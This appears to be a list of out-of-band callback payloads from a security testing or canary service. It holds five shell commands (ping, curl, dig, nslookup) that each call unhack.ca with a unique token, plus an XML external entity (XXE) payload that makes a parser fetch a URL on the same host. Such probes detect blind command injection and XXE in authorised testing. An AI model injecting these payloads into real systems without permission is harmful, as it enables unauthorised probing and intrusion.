$ ping -c1 -p 00644525f7a4147dbf1255902c536800 unhack.ca
$ curl http://unhack.ca/p/644525f7a4147dbf1255902c5368
$ dig 644525f7a4147dbf1255902c5368 @unhack.ca
$ dig 644525f7a4147dbf1255902c5368.ns.unhack.ca
C:\> nslookup 644525f7a4147dbf1255902c5368 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/644525f7a4147dbf1255902c5368">]> <foo>&xxe;</foo>